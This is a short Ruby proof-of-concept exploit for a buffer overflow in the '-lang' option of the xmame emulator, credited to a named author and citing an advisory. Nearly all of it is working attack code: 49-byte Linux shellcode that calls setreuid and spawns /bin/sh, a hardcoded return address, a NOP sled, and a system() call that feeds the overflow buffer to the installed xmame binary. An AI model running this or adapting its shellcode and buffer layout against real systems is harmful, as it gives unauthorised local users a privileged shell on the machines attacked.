xmameOverflow-ruby.txt

`#!/usr/bin/ruby  
  
#  
# One of the PoC code for xmame "-lang" options.  
# Advisory is base on : http://kerneltrap.org/node/6055  
#  
# by xwings at mysec dot org  
# url : http://www.mysec.org , new website  
  
# Tested on :  
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux  
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)  
# xmame 0.102 , ./configure && make && make install  
#  
  
  
#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.  
shellcode = "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+  
"\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+  
"\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+  
"\x31\xdb\xcd\x80"  
  
vulnpath = "/usr/games/xmame.x11"  
argvopt = "-lang"  
  
ret = (0xbfffe8da)   
retadd = ([ret].pack('V'))  
  
nops = ("\x90" * (1056 - (shellcode.length + retadd.length)))  
buffer = nops+shellcode+retadd  
  
system(vulnpath,argvopt,buffer)  
  
`